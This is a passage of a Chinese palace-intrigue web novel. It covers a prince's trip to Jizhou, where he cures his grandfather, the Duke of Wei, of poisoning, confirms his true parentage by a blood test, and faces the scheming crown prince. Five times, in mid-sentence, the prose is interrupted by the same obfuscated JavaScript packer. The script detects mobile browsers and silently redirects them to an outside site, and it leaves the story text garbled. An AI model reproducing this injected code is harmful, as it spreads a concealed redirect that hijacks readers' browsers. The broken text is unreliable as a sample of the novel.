难得看他收起嬉笑的脸皮,尉迟凌唇角微勾,“行了,去准备吧,天亮就出城。” 夜时竣眼中难掩激动。 不是因为手中的宝剑,而是为了这个妹夫的身世。 他已经知晓去济州的目的,要拿到王爷妹夫是皇后娘娘所出的证据。如果王爷妹夫真是皇后娘娘的亲生子,那尉迟睿的好日子就到头了…… 而王爷妹夫成了太子,待将来皇上传位后,那他可就是威风八面的国舅爷! 哈哈! 试问,换谁来不激动? …… 得知儿子要去济州,尉迟晟也没说什么,只是心中暗自郁闷。 他眼睛不瞎,当然看得出来儿子不想入朝。 说直白些,就是与他赌气。 偷龙转凤这种事发生在皇子身上,他这个帝王最是失职。而这二十二年来,澜贵妃对承王的态度连旁人都看不下去,何况是承王亲自承受。 罢了! 让他去济州也好,卫国公是他外祖父,他去接自己的外祖父也是理所应当。 “皇上,太子和太子妃来了,可要让他们进来?”齐绥进寝殿询问。 “不见。”尉迟晟端坐小几旁头也没抬地回道。 “是。” 殿外。 尉迟睿和祝华凝被拒后,夫妻二人脸色都不怎么好看,不过祝华凝还是体贴地同齐绥说道,“公公,那我们就不打扰父皇休息了。劳烦你多加费心,务必让父皇保重龙体。” “老奴会的。”齐绥躬身送他们。 夫妻俩回了东宫。 屏退了宫人后,见尉迟睿一脸愁恶,目光所及之处仿佛都与他有仇似的,祝华凝皱了皱眉,说道,“殿下,这次败就败了,用不着置气。” 尉迟睿咒骂,“还以为那华平有多强的本事,也不过如此!早知道本宫就派麒麟卫出手,保证父皇和尉迟凌他们有去无回!” 祝华凝月牙眉皱得更深,“我们是高估了华平,可这种事也不能随便让麒麟卫去做。您没听娘娘说吗,父皇能带尉迟凌去皇陵,说不定已经起疑了。既然起疑,那必定会对您和娘娘有所提防。您不但不能让麒麟卫出面,这后面的日子您和娘娘还需收敛言行、低调行事,绝不能让人发现更多疑点!” 尉迟睿没好气地瞪着她,“你叫本宫什么都不做,那本宫如何除掉尉迟凌那贱种?” 祝华凝心里翻着白眼,但面上还是耐着性子安抚他,“除掉尉迟凌的办法多的是,但绝对不是与他正面交锋。这次华平没利用好,不代表我们就没机会了。” “北蔺国的使节不是快要来了吗?虽说他们是来与骆丽娴认亲的,可大邺国与北蔺国几十年的宿仇,不见得因为骆丽娴做了您的侧妃就能让两国关系缓和。” “骆丽娴现在和魏永淮厮混在了一起,而魏永淮又与夜时舒有怨,到时我们只要把北蔺国的人利用妥当了,也能借北蔺国使节之手对付尉迟凌和夜时舒!” 听完她的想法,尉迟睿一脸阴鸷的气息瞬间散去,嘴角挂上了邪恶的笑,“你不说本宫还真差点把这事忘了!如果我们让尉迟凌那贱种跟北蔺国使节结下梁子,让两国关系交恶,父皇必定厌弃尉迟凌那贱种!” 祝华凝眉心也舒展开来,柔声与他道,“所以,殿下现在要做的就是沉住气,**的勾当让别人去做就行了,棋子嘛,能利用的多的是,没必要为了其中一颗就大动肝火。” 尉迟睿将她拥进怀里,一脸得意,“太子妃真是本宫的军师!本宫此生最大的幸事就是娶了你!” 祝华凝温柔地依偎着他,突然说道,“殿下,我有一个好消息要告诉您。” “嗯?是何好消息?”尉迟睿低头询问。 “前两日臣妾在丞相府突然晕厥,本以为是操办母亲的后事累坏了身子,没想到府医说臣妾有了身孕。” “什么?你有了?”尉迟睿惊喜不已。 他们成婚两载,一直没有子嗣,说心中不介意那肯定是假的。只是碍于她相府嫡女的身份,他不敢表露出来罢了。 祝华凝娇羞地点了点头,“府医说才一月有余,他让臣妾平日里多加卧床休养。” 尉迟睿赶忙扶她回她的宫殿。 送她上榻后,尉迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136979|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睿又把宫殿的近侍的宫人全叫来跟前,好一番仔细叮嘱。 这是他的嫡子,也是尉迟家的皇长孙,这孩子有多重要他不需要任何提醒。 在他叮嘱完宫人后,祝华凝交代宫人,“本宫月份尚浅,在胎象未稳定前不可将本宫孕事泄露出去,知道吗?” 尉迟睿沉着脸附和,“是不能泄露!谁敢泄露出去,本宫定不轻饶!” “是!”一众宫人齐声应道。 …… 济州离京城百里路。 夜时舒他们用了两日抵达济州城。 因为算不准要在济州城待多久,他们便在城中租了一处四合院。 安顿下来后,尉迟凌便让文岩和文墨去打听卫国公府的消息。 不多时,文岩和文墨带回来一个消息。 “王爷、王妃,听说国公爷病了,国公府这两日闭门谢客,属下们实在打听不到多的消息。” 尉迟凌丰眉微微蹙了一下,说道,“那过两日再探。都累了,下去休息吧。” “是。” 待文岩和文墨离开后,夜时舒爬上刚铺好的床,累得都没力气讲话了。 尉迟凌坐上床,为她脱掉鞋子和外衫,然后卧在她身侧,先是将她搂进怀里,接着手掌从她衣角钻了进去。 夜时舒掀开眼皮,哭笑不得地抓住他手腕,“你不累啊?” 尉迟凌低下头含住她的唇珠,似浅尝辄止,又似撩拨。 夜时舒看着他眸底那簇欲望,哪能不懂? 这家伙,以前憋那么久也没见他受不了,这才憋几天,他就耐不住了! 她双手摸到他腰间,解开腰带,然后抓着他衣襟扯开。 只是做完这动作后,她脸颊已是通红。 他喜欢做那种事,她又何尝不喜欢看他身体。 尉迟凌唇角勾勒,眉眼含笑地将她深吻住—— “小妹……”夜时竣和顾思沫过来找他们,突然听到屋里的声音,夜时竣举起的手瞬间僵在半空中,接着面红耳赤。 他哪里知道会撞上这种事,毕竟天都还没黑呢! 可这还不是最尴尬的。 最尴尬的是,顾思沫就在他身旁! 他扭头看去,果不其然,自己媳妇脸红得像抹了一脸的胭脂。 顾思沫扯着他的衣袖快速回到他们住的厢房。 她正想去桌边倒杯口,突然被人从身后紧紧抱住。 “芯儿……我们……”夜时竣沙哑地开口,但又说不出一句完整的话。 第162章 让你也尝尝求饶的滋味儿! 顾思沫转过身,抬眸嗔了他一眼。 夜时竣也没看明白她这一眼是什么意思,怕她拒绝,他双手紧扣着她腰肢,用力贴到他身上,然后豁出去似的在她耳边说道,“我不想等到再成亲的时候了!我现在就想把洞房补上!” 他们一直没圆房,他想的是还要和她成一次亲,索性就等上一等。可方才被某对夫妻刺激到了,他忽然就不想忍了…… 顾思沫再抬眼嗔了他一下,“又没让你忍,是你自己不要的!” 夜时竣这下总算看明白她的眼神了,顿时咧开了嘴角,弯下腰抱起她就往床上扑去—— 翌日晌午。 夜时舒收拾妥当,想叫自家二哥二嫂去酒楼用午膳。 尉迟凌揽住她肩,眸中藏着一丝笑,“他们怕是去不了,我们去就行了。” 夜时舒不解,“他们怎么去不了?” 尉迟凌低下头,别有深意地笑问,“我们办事时你希望被人打扰吗?” 夜时舒先是一愣,接着噗嗤笑出声,然后抡起粉拳敲了敲他胸膛。 随后他们带着文岩和文墨去往闹街觅食了。 厢房里。 顾思沫耳尖地听到他们出门的动静,忍不住睁开眼推了推身侧的男人,“小妹他们是不是出去了?” 夜时竣见她醒来,立马半压着她,问道,“还疼不疼?” 顾思沫面颊一红,嗔道,“你说呢?” 想起昨日自己的表现,夜时竣也忍不住脸红,“我不是故意的……我也是第一次……” 顾思沫别开脸,但不是生气,而是偷笑。 夜时竣知道她在笑什么,于是将她整个人压在身下,捧着她娇媚的脸蛋一顿狂亲。 “敢笑话我没经验,看我怎么收拾你!” “唔唔……”顾思沫一边扭摆一边忍不住笑骂,“你……你别再胡来……不然我打你……” 她是真会追着他打的,可现在在床上,夜时竣岂会怕她? 将她双手放在自己肩上,他抵着她额头,笑得又得意又邪魅,“平日都是我求饶,今儿我也让你尝尝求饶的滋味儿!” 顾思沫哭笑不得地想说什么,但下一刻微张的红唇便被他覆住—— 酒楼。 夜时舒初来济州,新鲜感十足,便挑了大堂的一张桌子,和尉迟凌、文岩、文墨一边用着济州的特色佳肴,一边听旁桌的人闲话家常。 突然隔壁传来‘国公爷’三字,正进食的私四人同时一震。 “前日国公爷在城门施粥的事你们都听说了吧?” “不就是国公爷施粥时突然晕倒吗?他年岁已高,又顶着大太阳出来施粥,受不住也是正常的!” “可是我听说国公爷不是累坏了身子,是中邪了!” “中邪?**的,中哪门子邪,你可别胡说八道!” “我那侄子不是在国公府做事嘛,他昨日回家给他爹送月银,他告诉我的,说国公爷前日回府后上吐下泻,请了许多大夫,用了不少方子,虽然止住了泻吐,可人却没醒过来,现在只剩一口气了!” 听到这,夜时舒和尉迟凌交换了一下眼神,然后默契起身。 文岩叫来跑堂伙计,给了他一把碎银,然后和文墨追出了酒楼。 四人很快来到卫国公府。 见大门紧闭,文岩上前拍响了大门上的兽面锡环。 不多时,旁边的小门开了,一中年男子走出来,先是好奇地打量他们,接着对他们拱手问道,“不知几位来此有何贵干?” 尉迟凌回他,“晚辈姓夜,从京城来。路经济州城,想起家父曾说过,国公爷曾与他同朝为官,颇有交情,所以晚辈特来拜访,不知国公爷可在府上?” “姓夜?”中年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136980|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子稍作思索,接着惊讶问道,“您是夜将军的公子?” 在朝中姓夜的官员,与他们国公爷相熟的,他只能想到致和将军府。 尉迟凌微微一笑,又问道,“不知国公爷可在府上?” 中年男子也露出热情的笑意,转身进了小门,很快让人打开了大门。 “夜公子,里面请!” 尉迟凌、夜时舒、文岩、文墨进了国公府。 中年男子接迎他们进去后,没走几步,突然叹气,一脸歉意地说道,“夜公子,恕我家国公爷此刻不便招待你们,小的先让人给你们准备厢房,你们先作休息可好?” 尉迟凌直言道,“我们进城时便听说了国公爷的事,不知道国公爷此刻可安好?” “唉……” “晚辈曾拜名医为师,可否带晚辈去看看国公爷?” “啊?”中年男子惊诧地盯着他。 夜时舒怕他拒绝,赶忙说道,“伯伯,不瞒你,我们是听说国公爷出事特意来的。你就让我们看一眼国公爷吧,万一我们能帮上忙呢?国公爷是我们父亲的故友,我们不希望他出事!” 中年男子又打量了她一番。 他认识致和大将军夜庚新,也知道其膝下有二子一女,眼前这位妙龄女子,想来就是夜将军的女儿了! “夜公子、夜小姐,这边请!”打量完后,他躬身引道。 夜时舒小时候见过卫国公闵文骞,记忆中的闵文骞是个和蔼可亲的老头。可随着中年男子到了闵文骞房中,看着床上形容枯槁、面目犁黑的老头,她倒抽冷气,完全不敢认。 尉迟凌眉眼一沉,夺步上前,一把揭开闵文骞身上的被褥。 “夜公子……”对他如此冒犯之举,中年男人忍不住想上前制止。 “伯伯,救人要紧,你别打扰他。”夜时舒及时拉住他。 第163章 为何老夫与王爷的血会相融? 中年男子很是不满,虽然他敬重他们父亲夜庚新,可也不能任由他们胡来啊! 于是他甩开夜时舒的手扑向床边,想把冒犯他家国公爷的公子哥给拉开—— “不许你们……” 然而,不等他碰到尉迟凌,尉迟凌猛然转身先点了他的穴,眸光冷冷地盯着他,“不想国公爷死,就给我安分点!” 语毕,他又转向床上枯槁的闵文骞,从袖中取出一只布袋,将布袋展开在闵文骞身侧。 那布袋里全是银针。 中年男人动不了也说不出话,可恼怒的眼神突然间变成了惊诧,一瞬不瞬地盯着尉迟凌的侧脸,仿佛在对自己说,难道他真的精通医术? 只是这个时候并没有人打理他。 夜时舒关上房门,紧贴着门缝,时刻留意着门外的情况,一旦有人来打扰。 而尉迟凌则是把闵文骞扶着坐起,脱去闵文骞的上衣后,他也上了床,在闵文骞身后盘膝而坐,将一根又一根银针扎入闵文骞各处穴位中。 看着他那沉稳老练的动作,中年男子眼中再无任何不满了,除了惊诧外,眼中还带着一丝期待。 约莫过了半个时辰,闵文骞突然抽搐,紧接着喷出一口黑血。 尉迟凌扶住他,然后将他身上的银针一根根取出。 那口黑血吓得中年男子脸色发白,可诡异的还在后面,闵文骞身上的银针拔出后,被银针扎过的地方纷纷冒出黑色的血滴。一时间,闵文骞枯槁的身体仿佛长满了黑斑,刺目又惊悚。 尉迟凌收好银针下床,给中年男子解了穴,低沉道了句,“给他擦洗吧。” 中年男子激动地扑到床上,抱住闵文骞直掉眼泪,还有些不敢置信地问,“夜公子,国公爷他真的没事了吗?” “嗯。”尉迟凌淡淡地应了一声,突然反问他,“这两日都有谁接触过国公爷?” 中年男子扶着闵文骞躺好,抹了一把眼泪后,回道,“前日国公爷在城门口突然晕厥,回府后便上吐下泻,恰巧府医告假,我便让人去外面请了大夫给国公爷诊治,一开始,大夫的确让国公爷止住了上吐下泻的症状,可国公爷却晕迷不醒。我又让人陆陆续续请了好几名大夫,但国公爷非但没有好转,反而还肉眼可见的消瘦,甚至气息越来越弱。” 尉迟凌冷眸微眯,冷声道,“国公爷一开始是中了暑气,所以才上吐下泻。第一位大夫你从哪里请来的?” “我也不知道啊,是下人去请回来的。” “是他在给国公爷治疗暑气的同时也给国公爷下了毒!此毒下得微妙,所以后面的大夫皆束手无措。” “什么?”中年男子惊骇不已,“竟是第一位大夫给国公爷下的毒!” 尉迟凌没再解说下去,只交代他,“先给国公爷清洗身子吧。我会让我的手下去给国公爷抓药,待服了药,国公爷自会醒来。” 中年男子赶忙到门外唤人打水。 尉迟凌出了屋子,吩咐文岩去抓药。 一番忙活后—— 看着醒来的闵文骞,中年男子欣喜地又开始落泪,“国公爷,您可算是醒了!您要再不醒,小的都要跟着您去了!” 闵文骞扭头看向床边的男女,特别是盯着尉迟凌多看了起来,“你是……” “国公爷,这二位是致和将军府的公子和小姐!”中年男人忙向他介绍,“他们路经济州,听说您病了,特意来看您。而且夜公子精通医术,就是他为您解毒将您救醒的。” “他不是夜公子。”闵文骞虚弱地摇了摇头,突然冲尉迟凌笑道,“没想到承王殿下会来看老夫。” “承王殿下?”中年男子震惊不已地转身,盯着尉迟凌不停地打量,“你、你不是说你姓夜吗?” 夜时舒掩嘴笑道,“强叔,我姓夜,在家排行老三。他是承王殿下,只是怕惊吓到你,所以才借了我哥的身份。” 半个时辰前她才知道,这位中年伯伯叫闵强,是国公府的管家。 闵强目光在他们身上来回看,看着看着总算反应过来了,忙给他们跪下行礼,“参见承王殿下、参见承王妃。小的有眼不识泰山,还请王爷王妃恕罪。” 夜时舒弯下腰将他扶了起来,说道,“强叔,既然我和王爷管了这事,那肯定是要管到底的。眼下我们需要查证一些事,还请强叔配合。” 闵强躬身道,“王妃,您尽管吩咐!” “第一个来给国公爷治病的大夫,希望你派人将其找到。还有府医,也一并找回来。” “是!”闵强没有多问,随即便出房门安排去了。 见尉迟凌站在床边一言不发,只盯着自己看,且那双眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136981|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子深不见底,仿佛装着许多心事,直让闵文骞浑身别扭,于是忍不住问道,“王爷,可是在怪老夫怠慢了?” 尉迟凌给夜时舒使个眼色。 夜时舒会意,走到桌边,将先前准备好的一碗水端到床边。 尉迟凌什么也没说,咬破食指指腹,朝碗中挤了一滴血。 接着,他捉住闵文骞枯槁的手腕,拿出一根银针扎破他的指腹,也朝碗中挤了一滴血。 他和夜时舒一句解释的话都没有,但看着碗中相融的两滴血,闵文骞惊得眼珠子都快掉出来了。 “这……这……” 眼见他被吓到,夜时舒这才开口,“国公爷,您别怕,我们没有恶意。” 闵文骞目光从碗中收回,惊然地瞪着尉迟凌,“你……我……这……”他吞了好一会儿才找回自己的嗓音,“它们为何会相融?” 可尉迟凌好似没看到他的反应,结果夜时舒手里的碗,头也不回地出了屋子。 “承王……”闵文骞激动地要下床。 “国公爷,您别急,王爷他这是心里难过,想静一静。”夜时舒挡住他,并扶他坐好,还体贴地拿枕头塞到他背后。 “王妃,到底是怎么回事?为何老夫与王爷的血……会……相融?”闵文骞激动地拉住她的手腕追问。 夜时舒他们这次来济州的目的本就是调查尉迟凌的身世,眼下滴血验亲有了结果,自然也没有再隐瞒的必要,于是夜时舒便把前因后果都告诉了他…… …… 傍晚。 听说尉迟凌在花园凉亭,闵强匆匆跑了过去。 “王爷!小的派人去找那大夫,可他人早就不了!就连那家医院都关门了!” “还有府医,他老家派人来说,他在回去的路上从山上跌下,摔断了腿,现在正在老家养伤呢!” 尉迟凌低沉道,“把这些如实禀报国公爷。” 闵强点了点头,然后跑去了主卧。 两位皇子被人调换的事闵文骞已经知晓,再听闵强禀报的消息,他也不傻,立马就想明白了。 这就是有人怕他碍事,打算不声不响地除掉他! 如果不是承王和承王妃及时赶来,说不定他这会儿已经断气了! “王妃,能否叫承王进来,老夫想同他说说话。”他看向夜时舒,声线低沉沙哑。 第164章 太子,你们也去济州! “国公爷,您好好休息,有什么话等您痊愈了再说。”夜时舒笑着安慰他。 她明白尉迟凌的心情,也知道他现在不想与国公府相认。 闵文骞老眼微红,“王妃,你们现在住在哪?我让闵强给你们收拾一处院子,你们住过来,可行?” 夜时舒答应得也爽快,“好。不过今晚我们还得回租住的小院,我二哥二嫂还在小院等我们。今晚先让文岩和文墨留下吧,明早我们再过来。” 闵文骞转头便吩咐闵强去收拾东面的玉林院。 …… 文岩和文墨留在了卫国公府。 天黑后,尉迟凌和夜时舒回了租住的小院。 夜时竣正在厨房生火煮饭,见他们回来,赶紧唤夜时舒,“小妹,快来帮忙!” 夜时舒进厨房,闻着锅里的香气,笑着问他,“二哥,你怎么炖上鸡了?” “给你二嫂补补!”夜时竣盛了一碗鸡肉汤,一边往外走一边交代她,“我先把鸡汤给你二嫂端去,厨房里有食材,你赶紧把晚饭做了!” “……”夜时舒一脸黑线。 还真是会使唤人啊! 让她做晚饭,他也不怕吃了肚子疼! 听到脚步声,夜时舒转身看去,对着尉迟凌手上两只食盒笑道,“幸好从国公府带了吃的回来,不然今晚我们就得喝风了!” 尉迟凌唇角微抽。 夜时舒接过一只食盒,给送到自家二哥二嫂门外,听到里面打情骂俏的声音,她忍不住干咳,“二哥二嫂,我们从国公府带了吃的回来。” 很快夜时竣打开房门。 接过她手中的食盒就又要关门。 夜时舒及时抵住房门,哭笑不得地问道,“二哥,你干什么呀?我二嫂呢?” 夜时竣别扭地抿了抿唇,然后给她使眼色,“你们先去吃东西,一会儿我去找你们!” 夜时舒忍着笑把手收回。 翌日一早。 他们如约去了国公府。 尉迟凌先去看了闵文骞。 今日的他气色明显好转,闵强笑着同他们说道,“国公爷胃口极好,食欲比以前都大。” 闵文骞看着尉迟凌,红着眼眶哽咽道,“我已经让闵强给你们收拾好了院子,你们快去看看,缺什么就告诉闵强!” 昨夜,他几乎没怎么合眼,一是激动,二是心酸。 女儿病逝后,太子就交给了澜贵妃抚养,自那以后,他见太子的次数屈指可数。就算偶有机会见面,澜贵妃也都以太子要休息为由让人将太子带走。 一开始,他对澜贵妃是心怀不满的。 可后来听说澜贵妃对太子视若己出,照顾得比承王这个亲生子还好,他这才对澜贵妃放下了芥蒂。 只不过,从澜贵妃抚养太子开始,他和太子便疏离了。太子不亲近他也就算了,每逢佳节连句问候的话语都没有。 这些年,没有人知道他心中的苦闷。每当想念女儿时,他就想见见大外孙,可一想到大外孙对他的疏离,他就更加思念女儿…… 眼下,滴血验亲的事实告诉他,承王才是他的亲外孙,这叫他如何能不激动? 可是一想到承王这些年所过的日子,他就忍不住心痛。 澜贵妃对太子视若己出这是人尽皆知的,她对太子的偏爱导致承王备受冷落这也是人尽皆知的。所有人都赞美澜贵妃大德,却很少有人对承王心生怜悯。 从小没有母亲疼爱,十岁便随军去了边境,这一去便是十余载…… 他无法想象,这个外孙是如何长大的! 这些年,他到底吃了多少苦! “嗯。”尉迟凌低低地应了声。 闵文骞怕他又会头也不回地离开,突然抓住他的手,强拉着他坐上床头,关心地问道,“凌儿,你的喜好是什么?饮食寝居方面可有什么忌口或者忌讳?去年听说你在边境受了伤,还差点变成废人,你是何时痊愈的,现在身子可有大碍?” 昨日他太震惊了,所以不知道该如何面对大外孙。通过一晚上的冷静,他这会儿就像个八卦老头,恨不得把大外孙的一切都了解清楚。 尉迟凌眸光闪烁,显然还不适应他这样的热情。 夜时舒忍着笑,识趣地道,“王爷,你陪国公爷好好聊吧,我先带二哥二嫂去玉林院了。” 说完,她给闵强使了个眼色,很快朝外去,并体贴地为他们关上房门。 在去玉林院的路上,她问闵强,“强叔,我记得皇后娘娘还有一位兄长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136982|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他为何不在国公爷身边?” 闵强回道,“大爷他一直在南部任职,本来他是想接国公爷去南部养老的,但国公爷说济州是闵家的根,他想留在济州。原本这里是闵家的老宅,国公爷回来后,就让人把老宅重新修葺,把京城国公府搬到了这里。” “原来是这样。”夜时舒点了点头。 夜时竣突然扯了扯她衣袖,“小妹,以后你可别把我打发得那么远,我是绝对不会远赴他乡做事的!” 夜时舒汗,“……” 她在问国公爷长子的情况,跟她二哥有什么关系? 顾思沫把夜时竣往后面扯,低声警告,“小妹在说话,你别乱插嘴!” 夜时竣咧嘴笑道,“我哪有插嘴,我这是在为我们的将来谋福祉!” 夜时舒耳尖地听着他们对话,哭笑不得。 …… 京城。 听到济州传来的消息,尉迟睿坐不住了,立即前往澜霞宫找澜贵妃商议。 本来他们是在准备北蔺国使节前来大邺国认亲的事,眼下听说尉迟凌和夜时舒去了济州国公府,澜贵妃也慌得不行。 “没想到那老东西如此命大,竟然还没死!”痛骂过后,她做出决定,“太子、太子妃,既然他们去了济州,那你们也去!” “那我们准备的事……”祝华凝有些犹豫。 “北蔺国使节还有一个月才到京城,我们有足够的时间准备。当务之急是要打听承王去国公府的目的,如果可以,你们找到机会,务必将他们……”澜贵妃说着话做了一个抹脖子的动作。 尉迟睿和祝华凝对视了一眼,都明白这一趟是非去不可。 …… 而济州国公府这边。 听说太子、太子妃来了,闵文骞好不容易养出点气色,瞬间变得比病入膏亡时还难看。 “他们竟来了?!” 闵强接着说道,“国公爷,不止太子和太子妃来了,他们还带了人来。” 闵文骞臭着脸问,“还带了什么人?” “有一个年轻人,叫魏永淮,据称在太子手下做事。还有太子新纳的良娣,说是北蔺国五公主。” “……” 听到这,换尉迟凌和夜时舒脸色难看了! 第165章 自家兄弟,好赖话都听不懂 尉迟睿和祝华凝来济州就算了,把骆丽娴和魏永淮也带来,这不就是专门给他们夫妻添堵吗? 夜时舒心里呕得要死,但有旁人在,她也不好发作什么。 眼见他们夫妻神色不好看,闵文骞说道,“你们先回玉林院休息吧,我知道如何应对他们。” 尉迟凌淡淡摇头,“不用。”随即他看了眼闵强,说道,“强叔,若有谁问起国公爷的病情,便说是华芯华神医为国公爷治好的,且不提本王。” 闵强应道,“王爷放心,小的绝不会多嘴!” 不多时,尉迟睿和祝华凝便进出现在众人眼前。 “太子、太子妃,臣身体抱恙,无法去接迎你们,还请你们宽恕。”闵文骞背靠着枕头,一脸歉意地招呼他们。 “外祖父,您这是怎么了?”祝华凝关心地上前,“太子许久没见到您了,我们临时起意来济州看您,没想到您竟病得如此严重?可有请医问诊?大夫如何说的?要紧么?” 面对她一连串的问话,闵文骞颔首表示谢意,“多谢太子妃关心,臣前几日得了急症,多亏了华芯华神医相救,现在除了有些虚弱外,已无大碍。” 尉迟睿也上前,温声道,“外祖父年事已高,可要好生爱惜自己。若是您身边人手不够,本宫可为您挑些手脚麻利的人照顾您。” 闵文骞对他微微笑了笑,“多谢太子美意,但臣俭朴惯了,也不喜欢吵闹,有闵强陪着我足以。” 祝华凝转身,亲切柔和地同尉迟凌和夜时舒招呼,“二弟、弟妹,你们怎么来济州了?来也不同我们说一声,我们要是早知道,便和你们一道来了。” 夜时舒福了福身,微笑着回她,“王爷说他少有外出,想离京游玩一段时日,我们路过济州,听说国公爷病了,正好带华神医来给国公爷医治。” 祝华凝脸色微沉,“不是说华神医离开了吗?” “前些日子她是离开了,但她办完手中的事后又找到我们了。”夜时舒笑着解释,“这得多亏了我二哥,他用真心打动了华神医,所有华神医才决定留下。” 尉迟睿转过身,语气充满了讽刺,“夜二公子发妻刚过世便有了新欢,他也不怕亡妻泉下有知不得瞑目?” 一直没开口的尉迟凌冷不丁说道,“男人三妻四妾迎进门都不觉得可耻,发妻过世再另娶又有什么不可的?臣弟没记错的话,那顾勇在朝时可是皇兄的心腹,如今被贬作庶民,为何不见皇兄帮衬?” 夜时舒别开头偷笑。 “你……”尉迟睿被怼得双眼喷火。 “二弟,你皇兄没有别的意思,他也是关心夜二公子罢了。”祝华凝及时插声,然后对尉迟睿说道,“殿下,您也是的,知道的是您担心夜二公子的名声,不知道的还以为您在取笑夜二公子呢。” 尉迟睿立马收了怒火,没好气地剜了尉迟凌和夜时舒一眼,“自家兄弟,好赖话都听不懂,真是一点默契都没有!” 夜时舒唇角抽了抽。 这两公婆还能再恶心点吗? 床上,闵文骞听着他们的对话,眉心蹙了又蹙。特别是盯着尉迟睿和祝华凝的后背,老眼中尽是嫌恶。 “咳咳……”他假装咳嗽,然后吩咐闵强,“太子和太子妃赶路辛苦了,去把南面的芙蓉院收拾出来,请太子和太子妃去休息。” “是。”闵强应道。 “太子、太子妃,臣这里病气中,你们身子娇贵,别在这里久留,快些去休息吧。”闵文骞又一脸歉意地对尉迟睿和祝华凝说道。 祝华凝转回身,温柔地说道,“外祖父,您好生歇着,我们晚些再来看您。” 夜时舒也主动说道,“国公爷,我们也不多打扰您了。” 闵文骞对她们都点了点头。 …… 另一边。 听闻尉迟睿他们来了,夜时竣和顾思沫从玉林院出来,打算去主院凑热闹,没想到路经主院花园时,竟碰上一男一女。 “二公子,没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136983|164464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到能在这里见到你。”魏永淮见到他,主动行礼问好。 “哟,这不是魏家公子嘛,听说你现在是太子身边的大红人了?真是失礼了啊!”夜时竣抱拳回礼,但嘴上的话却是揶揄十足。接着他看向魏永淮身侧的女人,笑问,“这位是?” “这是洛良娣,也是北蔺国五公主。”魏永淮为他介绍道。 “原来这就是北蔺国五公主啊!失敬失敬!”夜时竣赶紧向骆丽娴抱拳行礼。 “夜二公子客气了。”骆丽娴牵强地动了动红唇。 “魏公子,什么风把你们吹来了?”夜时竣不解地问魏永淮。 “太子来济州探望国公爷,我们只是随行侍奉。”魏永淮回道。 夜时竣眼角抽了抽,再看他和骆丽娴时,脑子里突然想出一些画面: 骆丽娴是太子的良娣,而骆丽娴又与魏永淮暗生**,他们三个你中有我、我中有你,再加上太子妃…… 他猛地打了寒颤。 “二公子,怎么了?”魏永淮见他神色怪异,眯着眼询问。 “没事,就是觉得莫名有点冷,呵呵!”夜时竣露齿笑了笑。 “二公子,这位便是华神医吧?”魏永淮朝顾思沫打量起来。 夜时竣不悦地挪了挪脚步,挡住他打量的视线。 正在这时,数道身影朝他们走来。 夜时竣和顾思沫转身,行礼道,“参见太子殿下!参见太子妃!” “哼!”尉迟睿一记冷哼,脚都没停一下便从他们身侧走过去。 祝华凝倒是停了一下脚,只是眸光冷冷地瞪了一眼顾思沫。 这一眼,饱含了多少恨意,不需要明说。 闵强在前面为他们引路,带着他们往南面去了。魏永淮走在最后,转身前,那视线一直投在夜时舒身上,毫不避人。 夜时舒恶心得直撇唇角。 等他们走远后,她上前拉着顾思沫的手安慰,“二嫂,你别怕,他们要敢对你怎样,我第一个不答应!” 第166章 装的是她的生辰八字 